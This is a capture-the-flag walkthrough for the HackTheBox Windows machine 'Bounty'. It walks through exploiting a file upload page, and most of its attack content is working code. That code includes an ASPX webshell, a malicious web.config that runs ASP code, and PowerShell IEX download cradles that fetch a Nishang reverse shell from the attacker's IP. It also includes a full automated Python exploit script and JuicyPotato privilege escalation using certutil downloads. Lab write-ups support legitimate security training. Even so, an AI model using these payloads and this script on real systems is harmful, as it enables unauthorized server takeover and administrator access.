This is an Easy box from HackTheBox.
It’s OS is Windows, which is common in HackTheBox Machines.
It’s exploration was through Web.
My rate for this machine is 5/10.
In the end you can find the automated script to explore this machine!
Diagram
Here is the diagram for this machine. It’s a resume from it.
graph TD
A[Enumeration] -->|Nmap - Wfuzz - Gobuster| B(transfer.aspx)
B --> C{BurpSuite}
C -->|Manual| D[Reverse Shell]
C -->|Python Script| E[Reverse Shell]
E -->G{Administrator}
D -->G{Administrator}
Enumeration
First step is to enumerate the box. For this we’ll use nmap
1
nmap -sV -sC -Pn 10.10.10.60
-sV - Services running on the ports
-sC - Run some standart scripts
-Pn - Consider the host alive
Port 80
Once we found just the port 80 opened, so let’s focus on this one to enumerate it.
We open it on the browser and see what is being shown.
We look at the source code and find nothing
Start enumerate it with Gobuster
and Wfuzz
1
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 https://10.10.10.93/FUZZ
We don’t find anything useful, just the folder uploaded files, so it’s a suggestion that we must find a place to upload files, so we try to bruteforce for aspx files, once it’s Windows web (ISS)
1
gobuster dir -u http://10.10.10.93 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x aspx
We find two things interesting, the transfer.aspx
and the folder UploadedFiles
We get in the transfer.aspx
to see what is it
Great we found the place to upload files, and the directory that we can get it
We enter on the UploadedFiles
Weak File Upload
Now we try to upload a file to see how it’s working, if has any kind of bypass
Try to upload a cmdaspx.aspx
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>
<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) -->
<!-- http://michaeldaw.org 04/2007 -->
Did not work, it seems to be making some kind of filter. Let’s try to bruteforce it to see what are the formats that it accepts
list_formats.txt
1
2
3
4
5
6
7
8
pl
config
aspx
asp
php
php7
cgi
exe
Now that we have a list from the formats we could try to bruteforce it, to see what format is being accept here.
For this we send the request to BurpSuite and to Intruder
We set as the Payload the format of the file
We set as argument, the list_formats.txt
And start to bruteforce it
When we see the responses from the server, we got that the .config
is different than other. Possibliy being accept by the server.
RCE
We search how to upload aspx files using config archives
https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/
https://soroush.secproject.com/blog/tag/unrestricted-file-upload/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
<appSettings>
</appSettings>
</configuration>
<!-- ASP.NET code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->
Now we try to upload it to the server, the validation is to popup the number 3 when accessing it on the browser
That’s it, we got it working
Now we need to get a reverse shell on it
For that we will use the Nishang reverse shell
We add the command (in the end of the file) to open it in memory and give us the reverse shell
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.18 -Port 4444
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
<% Set rs = CreateObject("WScript.Shell") Set cmd = rs.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://10.10.14.18/shell.ps1')") o = cmd.StdOut.Readall() Response.write(o) %>
So we adapt of web.config and upload it to the server
web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
<appSettings>
</appSettings>
</configuration>
<!-- ASP.NET code comes here! It should not include HTML comment closing tag and double dashes!
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://10.10.14.18/shell.ps1')")
o = cmd.StdOut.Readall()
Response.write(o) %>
-->
When we click upload and execute it, we receive the reverse shell on port 4444
Script
Now we will build a script to automate it, and gain a reverse shell automated
We got a skeleton in python to start working on it
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3
import argparse
import requests
import sys
''' Setting up something important '''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=False)
parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=False)
parser.add_argument('-u', '--username', help='Username to target', required=False)
parser.add_argument('-p', '--password', help='Password value to set', required=False)
args = parser.parse_args()
rhost = args.target
lhost = args.localip
lport = args.port
username = args.username
password = args.password
'''Here we call the functions'''
if __name__ == '__main__':
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/usr/bin/python3
# Date: 2021-08-31
# Exploit Author: 0x4rt3mis
# Hack The Box - Bounty
import argparse
import requests
import sys
import os
import socket, telnetlib
from threading import Thread
import threading
import http.server
import socket
from http.server import HTTPServer, SimpleHTTPRequestHandler
''' Setting up something important '''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# Setting the python web server
def webServer():
debug = True
server = http.server.ThreadingHTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
if debug:
print("[+] Starting Web Server in background [+]")
thread = threading.Thread(target = server.serve_forever)
thread.daemon = True
thread.start()
else:
print("Starting Server")
print('Starting server at http://{}:{}'.format('0.0.0.0', 80))
server.serve_forever()
# Setar o handler
def handler(lport,target):
print("[+] Starting handler on %s [+]" %lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',lport))
s.listen(1)
conn, addr = s.accept()
print("[+] Connection from %s [+]" %target)
t.sock = conn
print("[+] Shell'd [+]")
t.interact()
# Mount the payload
def mountPayload(lhost,lport):
print("[+] Let's download the Nishang reverse [+]")
os.system("wget -q -c https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1")
print("[+] Download Ok! [+]")
print("[+] Let's add the call to reverse shell! [+]")
file = open('Invoke-PowerShellTcp.ps1', 'a')
file.write('Invoke-PowerShellTcp -Reverse -IPAddress %s -Port %s' %(lhost,lport))
file.close()
print("[+] Call added! [+]")
# Get the __viewstate and __eventid
def getValues(rhost):
global event
global viewstate
token_url = 'http://' + rhost + ':80/transfer.aspx'
# Make the request to get csrf token
token_page = r.get(token_url, proxies=proxies)
# Get the index of the page, search for VIEWSTAT in it
index = token_page.text.find("__VIEWSTATE")
# Get only the csrfMagicToken in it
viewstate = token_page.text[index:index+141].split('"')[-1]
index = token_page.text.find("__EVENTVALIDATION")
event = token_page.text[index:index+97].split('"')[-1]
# Upload the malicious config file
def uploadWebConfig(rhost,lhost):
url = "http://%s:80/transfer.aspx" %rhost
headers = {"Content-Type": "multipart/form-data; boundary=---------------------------746245891582727206331504062", "Upgrade-Insecure-Requests": "1"}
data = "-----------------------------746245891582727206331504062\r\nContent-Disposition: form-data; name=\"__VIEWSTATE\"\r\n\r\n"+ viewstate +"\r\n-----------------------------746245891582727206331504062\r\nContent-Disposition: form-data; name=\"__EVENTVALIDATION\"\r\n\r\n"+ event +"\r\n-----------------------------746245891582727206331504062\r\nContent-Disposition: form-data; name=\"FileUpload1\"; filename=\"web.config\"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<configuration>\r\n <system.webServer>\r\n <handlers accessPolicy=\"Read, Script, Write\">\r\n <add name=\"web_config\" path=\"*.config\" verb=\"*\" modules=\"IsapiModule\" scriptProcessor=\"%windir%\\system32\\inetsrv\\asp.dll\" resourceType=\"Unspecified\" requireAccess=\"Write\" preCondition=\"bitness64\" />\r\n </handlers>\r\n <security>\r\n <requestFiltering>\r\n <fileExtensions>\r\n <remove fileExtension=\".config\" />\r\n </fileExtensions>\r\n <hiddenSegments>\r\n <remove segment=\"web.config\" />\r\n </hiddenSegments>\r\n </requestFiltering>\r\n </security>\r\n </system.webServer>\r\n <appSettings>\r\n</appSettings>\r\n</configuration>\r\n<!-- ASP.NET code comes here! It should not include HTML comment closing tag and double dashes!\r\n<%\r\nSet rs = CreateObject(\"WScript.Shell\")\r\nSet cmd = rs.Exec(\"cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://" + lhost + "/Invoke-PowerShellTcp.ps1')\") \r\no = cmd.StdOut.Readall() \r\nResponse.write(o) \r\n%>\r\n-->\n\r\n-----------------------------746245891582727206331504062\r\nContent-Disposition: form-data; name=\"btnUpload\"\r\n\r\nUpload\r\n-----------------------------746245891582727206331504062--\r\n"
upload = r.post(url, headers=headers, data=data, proxies=proxies)
if "successfully" in upload.text:
print("[+] Upload Done! [+]")
os.system("sleep 5")
else:
print("[+] Failed to Upload! [+]")
exit
# Get reverse shell
def callRev(rhost):
print("[+] Let's call the reverse shell! [+]")
url = "http://%s:80/UploadedFiles/web.config" %rhost
r.get(url, proxies=proxies)
print("[+] Reverse shell called! [+]")
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-li', '--localip', help='Listening IP address for reverse shell', required=False)
parser.add_argument('-lp', '--localport', help='Listening port for reverse shell', required=False)
args = parser.parse_args()
rhost = args.target
lhost = args.localip
lport = args.localport
'''Here we call the functions'''
# Set up the handler
thr = Thread(target=handler,args=(int(lport),rhost))
thr.start()
# Set up the web python server
webServer()
# Let's first mount the payload
mountPayload(lhost,lport)
# Let's get the __eventid e o __viewstate
getValues(rhost)
# Let's upload it
uploadWebConfig(rhost,lhost)
# Let's call the reverse shell
callRev(rhost)
if __name__ == '__main__':
main()
Privilege Escalation
Now that we have the reverse shell automated on this machine, let’s get the administrator on this box
Running the command whoami /priv
we see that our user has SeImpersonatePrivilege
enabled
So we can use the JuicyPotato
to get administrator
https://ohpe.it/juicy-potato/
https://github.com/ohpe/juicy-potato/releases/tag/v0.1
We download it on our machine
certutil -urlcache -split -f http://10.10.14.18:8000/JuicyPotato.exe C:\Users\Public\JuicyPotato.exe
We create our call
"IEX (New-Object Net.Webclient).downloadstring('http://10.10.14.18:8000/Invoke-PowerShellTcp.ps1')"
certutil -urlcache -split -f http://10.10.14.18:8000/reverse.bat C:\Users\Public\reverse.bat
Now we execute
1
.\JuicyPotato.exe -t * -p .\reverse.bat -l 1111